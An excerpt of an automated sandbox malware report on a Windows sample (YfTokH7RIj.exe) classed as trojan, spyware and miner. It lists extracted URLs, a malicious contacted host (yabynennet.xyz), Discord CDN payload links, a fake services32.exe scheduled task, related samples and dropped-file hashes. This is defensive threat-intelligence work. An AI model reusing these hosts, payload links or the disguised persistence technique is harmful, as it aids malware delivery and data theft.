http://www.interoperabilitybridges.com/wmp-extension-for-chrome	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_pdf	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id15Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, fl.exe, 00000007.00000002.768280433.0000000004209000.00000004.00000001.sdmp, fl.exe, 00000007.00000002.765463943.0000000003E02000.00000004.00000001.sdmp, services32.exe, 0000000F.00000002.828985486.0000000003DA9000.00000004.00000001.sdmp, services32.exe, 00000013.00000002.815721507.0000000004059000.00000004.00000001.sdmp, services32.exe, 00000013.00000002.813300578.0000000003C52000.00000004.00000001.sdmp, sihost32.exe, 0000001D.00000002.913279029.0000000003711000.00000004.00000001.sdmp	false		high
http://forms.real.com/real/realone/download.html?type=rpsp_us	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false		high
http://support.a	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id6Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
https://api.ip.sb/ip	YfTokH7RIj.exe, YfTokH7RIj.exe, 00000000.00000003.648277065.00000000035E0000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.716260926.0000000000402000.00000040.00020000.sdmp, YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe	YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_quicktime	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/sc	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id9Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id20	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id21	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id22	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id23	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id24	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id24Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727090311.0000000003978000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id1Response	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://go.mic	services32.exe, 0000000F.00000003.793020538.0000000001396000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_shockwave	YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false		high
http://forms.rea	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id10	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id11	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id12	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id13	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id14	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id15	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id17	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id18	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id19	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id10Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id8Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_wmp	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/answer/6258784	YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.82.202.246	yabynennet.xyz	Netherlands		60117	HSAE	true
162.159.129.233	cdn.discordapp.com	United States		13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	545999
Start date:	28.12.2021
Start time:	18:12:16
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	YfTokH7RIj (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@37/25@4/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 1.3% (good quality ratio 1.3%) Quality average: 72% Quality standard deviation: 0%
HCA Information:	Successful, ratio: 85% Number of executed functions: 155 Number of non-executed functions: 47
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 204.79.197.200, 13.107.21.200, 104.26.12.31, 172.67.75.172, 104.26.13.31 Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, www.bing.com, api.ip.sb.cdn.cloudflare.net, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, dual-a-0001.a-msedge.net, www-bing-com.dual-a-0001.a-msedge.net, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
18:13:30	API Interceptor	79x Sleep call for process: YfTokH7RIj.exe modified
18:13:54	API Interceptor	1x Sleep call for process: fl.exe modified
18:13:54	API Interceptor	230x Sleep call for process: powershell.exe modified
18:13:55	Task Scheduler	Run new task: services32 path: C:\Windows\system32\services32.exe
18:14:23	API Interceptor	298x Sleep call for process: sihost32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
185.82.202.246	Genshin Impact Hack.exe	Get hash	malicious	Browse
	UaptXuqYRa.exe	Get hash	malicious	Browse
	KqpziiO3ad.exe	Get hash	malicious	Browse
	jLyNN1mIcB.exe	Get hash	malicious	Browse
	Valorant Skin Changer.exe	Get hash	malicious	Browse
	Genshin Hack.exe	Get hash	malicious	Browse
162.159.129.233	SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/878034206570209333/908810886561534042/slhost.exe
	1PhgF7ujwW.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/878382243242983437/879280740578263060/FastingTabbied_2021-08-23_11-26.exe
	vhNyVU8USk.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/837741922641903637/866064264027701248/svchost.exe
	Order 4503860408.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/809311531652087809/839376179840286770/originbot4.0.exe
	cotizacin.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/812102734177763331/819187064415191071/bextrit.exe
	SecuriteInfo.com.PWS-FCXDF96A01717A58.15363.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/819169403979038784/819184830453514270/fraem.exe
	7G5RoevPnu.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/807746340997431316/809208342068199434/118fir2crtg.exe
	70% Balance Payment.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/785631384156110868/785631871395561492/italianmassloga.exe
	TT20201712.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/788973775433498687/788974151649722398/damianox.scr
	ENQ-015August 2020 R1 Proj LOT.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/722888184203051118/757862128198877274/Stub.jpg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
cdn.discordapp.com	Document.exe	Get hash	malicious	Browse	162.159.133.233
	NDb38yNfLs.exe	Get hash	malicious	Browse	162.159.129.233
	nUkbOfIFrC.exe	Get hash	malicious	Browse	162.159.133.233
	H4HU4rg1NM.exe	Get hash	malicious	Browse	162.159.134.233
	4BfFNMA5mb.exe	Get hash	malicious	Browse	162.159.135.233
	2esp3jydWv.exe	Get hash	malicious	Browse	162.159.129.233
	BPbhnXqI2a.exe	Get hash	malicious	Browse	162.159.135.233
	jCeYwcgr5J.exe	Get hash	malicious	Browse	162.159.130.233
	LdHUtWJP0t.exe	Get hash	malicious	Browse	162.159.133.233
	a253ieOlKV.exe	Get hash	malicious	Browse	162.159.129.233
	mUWI0AEawV.exe	Get hash	malicious	Browse	162.159.133.233
	sfCAJHSsuY.exe	Get hash	malicious	Browse	162.159.134.233
	vEof47Ils1.exe	Get hash	malicious	Browse	162.159.129.233
	IB70cFH5pG.exe	Get hash	malicious	Browse	162.159.135.233
	Frqhkcqlltebdntvwqeklmpfglcaanwvrn.exe	Get hash	malicious	Browse	162.159.135.233
	UkFZ88If3v.exe	Get hash	malicious	Browse	162.159.134.233
	TPmvrbIfzr.exe	Get hash	malicious	Browse	162.159.130.233
	b4a3cafc8553c06b17131e6b3afb38971312a4d91ae33.exe	Get hash	malicious	Browse	162.159.130.233
	KEEyXq1VKZ.exe	Get hash	malicious	Browse	162.159.134.233
	FSiVYyANZh.exe	Get hash	malicious	Browse	162.159.135.233
yabynennet.xyz	Genshin Impact Hack.exe	Get hash	malicious	Browse	185.82.202.246
	UaptXuqYRa.exe	Get hash	malicious	Browse	185.82.202.246
	KqpziiO3ad.exe	Get hash	malicious	Browse	185.82.202.246
	jLyNN1mIcB.exe	Get hash	malicious	Browse	185.82.202.246
	Valorant Skin Changer.exe	Get hash	malicious	Browse	185.82.202.246
	Genshin Hack.exe	Get hash	malicious	Browse	185.82.202.246
	IaUvl43JTz.exe	Get hash	malicious	Browse	185.45.192.75
	Injector.exe	Get hash	malicious	Browse	185.45.192.75
	hRZL5MN3p8.exe	Get hash	malicious	Browse	185.117.90.160

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	ffs.htm	Get hash	malicious	Browse	104.16.18.94
	Document.exe	Get hash	malicious	Browse	162.159.133.233
	ffs.htm	Get hash	malicious	Browse	104.16.18.94
	ffs.htm	Get hash	malicious	Browse	104.16.19.94
	PO-28122021.exe	Get hash	malicious	Browse	23.227.38.74
	NDb38yNfLs.exe	Get hash	malicious	Browse	162.159.129.233
	sf3rG3tuCE	Get hash	malicious	Browse	8.47.33.140
	BEA Copie de paiement bancairepdf.exe	Get hash	malicious	Browse	104.23.99.190
	nUkbOfIFrC.exe	Get hash	malicious	Browse	172.67.186.11
	2021.12.23 #4 205WESOLARES.pdf .exe	Get hash	malicious	Browse	172.65.227.72
	H4HU4rg1NM.exe	Get hash	malicious	Browse	162.159.134.233
	test.apk	Get hash	malicious	Browse	104.21.41.107
	test.apk	Get hash	malicious	Browse	104.21.41.107
	4BfFNMA5mb.exe	Get hash	malicious	Browse	162.159.135.233
	WhCaRe7XsR.exe	Get hash	malicious	Browse	172.67.143.210
	sora.arm-20211227-2350	Get hash	malicious	Browse	172.67.160.119
	Ra1r7QHVyN.exe	Get hash	malicious	Browse	104.26.1.138
	2esp3jydWv.exe	Get hash	malicious	Browse	162.159.129.233
	MSG01131.html	Get hash	malicious	Browse	104.16.18.94
	zoL8lL02nV.exe	Get hash	malicious	Browse	172.67.188.154
HSAE	Genshin Impact Hack.exe	Get hash	malicious	Browse	185.82.202.246
	ContractCopy-1465715689-Dec-21.xlsb.xlsm	Get hash	malicious	Browse	185.106.123.74
	ContractCopy-1465715689-Dec-21.xlsb.xlsm	Get hash	malicious	Browse	185.106.123.74
	Complaint-1549591727-Dec-22.xlsb	Get hash	malicious	Browse	185.198.57.227
	Complaint-1636375648-Dec-22.xlsb	Get hash	malicious	Browse	185.198.57.227
	Complaint-1549591727-Dec-22.xlsb	Get hash	malicious	Browse	185.198.57.227
	Complaint-1636375648-Dec-22.xlsb	Get hash	malicious	Browse	185.198.57.227
	DocumentIndex-2140515401-12232021.xlsb	Get hash	malicious	Browse	185.82.200.56
	DocumentIndex-2140515401-12232021.xlsb	Get hash	malicious	Browse	185.82.200.56
	DocumentIndex-97940630-12232021.xlsb	Get hash	malicious	Browse	185.82.200.56
	DocumentIndex-97940630-12232021.xlsb	Get hash	malicious	Browse	185.82.200.56
	Complaint-1595068394-Dec-22.xlsb	Get hash	malicious	Browse	185.198.57.227
	Complaint-1366726839-Dec-22.xlsb	Get hash	malicious	Browse	185.198.57.227
	Complaint-1366726839-Dec-22.xlsb	Get hash	malicious	Browse	185.198.57.227
	Complaint-950395018-Dec-22.xlsb	Get hash	malicious	Browse	185.198.57.227
	Complaint-950395018-Dec-22.xlsb	Get hash	malicious	Browse	185.198.57.227
	UaptXuqYRa.exe	Get hash	malicious	Browse	185.82.202.246
	#U6025-146102220896 BSIU2505935-Remitance Advise.xlsx	Get hash	malicious	Browse	194.36.191.196
	Invoice and documentsfdp.exe	Get hash	malicious	Browse	185.183.98.39
	0x0005000000012636-65.exe	Get hash	malicious	Browse	185.183.98.39

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Document.exe	Get hash	malicious	Browse	162.159.129.233
	Product Inquiry Catalogue.exe	Get hash	malicious	Browse	162.159.129.233
	6cyx4ibSFP.exe	Get hash	malicious	Browse	162.159.129.233
	4BfFNMA5mb.exe	Get hash	malicious	Browse	162.159.129.233
	EdKJpgf09r.exe	Get hash	malicious	Browse	162.159.129.233
	2esp3jydWv.exe	Get hash	malicious	Browse	162.159.129.233
	pgJz8ePrT5.exe	Get hash	malicious	Browse	162.159.129.233
	c6Ff097If4.exe	Get hash	malicious	Browse	162.159.129.233
	kl29QoBrYl.exe	Get hash	malicious	Browse	162.159.129.233
	H0oA4Oz4Qo.exe	Get hash	malicious	Browse	162.159.129.233
	AOqd6djD8Q.exe	Get hash	malicious	Browse	162.159.129.233
	UkFZ88If3v.exe	Get hash	malicious	Browse	162.159.129.233
	TPmvrbIfzr.exe	Get hash	malicious	Browse	162.159.129.233
	qUvEf1bfnl.exe	Get hash	malicious	Browse	162.159.129.233
	SWIFT KMBT12242021_PDF.exe	Get hash	malicious	Browse	162.159.129.233
	AZ9rZrI5Cz.exe	Get hash	malicious	Browse	162.159.129.233
	uPh11esSlt.exe	Get hash	malicious	Browse	162.159.129.233
	osIte1i1Jm.exe	Get hash	malicious	Browse	162.159.129.233
	dOjUKvekb3.exe	Get hash	malicious	Browse	162.159.129.233
	7K4qzQGQe7.exe	Get hash	malicious	Browse	162.159.129.233

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\fl.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\fl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.346338419905592
Encrypted:	false
SSDEEP:	24:ML9E4KrVE4K5sXE4+jKDE4KGKN08AKhPKIE4TKD1KoZAE4KKPz:MxHKpHKMH+jYHKGD8AoPtHTG1hAHKKPz
MD5:	7B8322EF9951253AE0C14D92C4255FD9
SHA1:	2B5BF780118729442EA7CB0123602341DCC0A0EF
SHA-256:	48EFFF2C19F0866B55F4EC12F23540DDA507741750ECD6171B2F4A6DA9967D3E
SHA-512:	A1E88D5F1DF584AAB7A2663BF37151FBB2C3E857706914032D9186E0F53092FFD57B34CAE5B020F73B05B754D8DED205C5CE3C80F7D83F01BD61D9BAF7DF2BE8
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..2,"System.IO.Compression, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\d0f4eb5b1d0857aabc3e7dd079735875\System.Management.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\4e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\e82398e9ff6885d617e4b97e31fb4f02\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Cult

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\services32.exe.log Download File
Process:	C:\Windows\System32\services32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.346338419905592
Encrypted:	false
SSDEEP:	24:ML9E4KrVE4K5sXE4+jKDE4KGKN08AKhPKIE4TKD1KoZAE4KKPz:MxHKpHKMH+jYHKGD8AoPtHTG1hAHKKPz
MD5:	7B8322EF9951253AE0C14D92C4255FD9
SHA1:	2B5BF780118729442EA7CB0123602341DCC0A0EF
SHA-256:	48EFFF2C19F0866B55F4EC12F23540DDA507741750ECD6171B2F4A6DA9967D3E
SHA-512:	A1E88D5F1DF584AAB7A2663BF37151FBB2C3E857706914032D9186E0F53092FFD57B34CAE5B020F73B05B754D8DED205C5CE3C80F7D83F01BD61D9BAF7DF2BE8
Malicious:	false
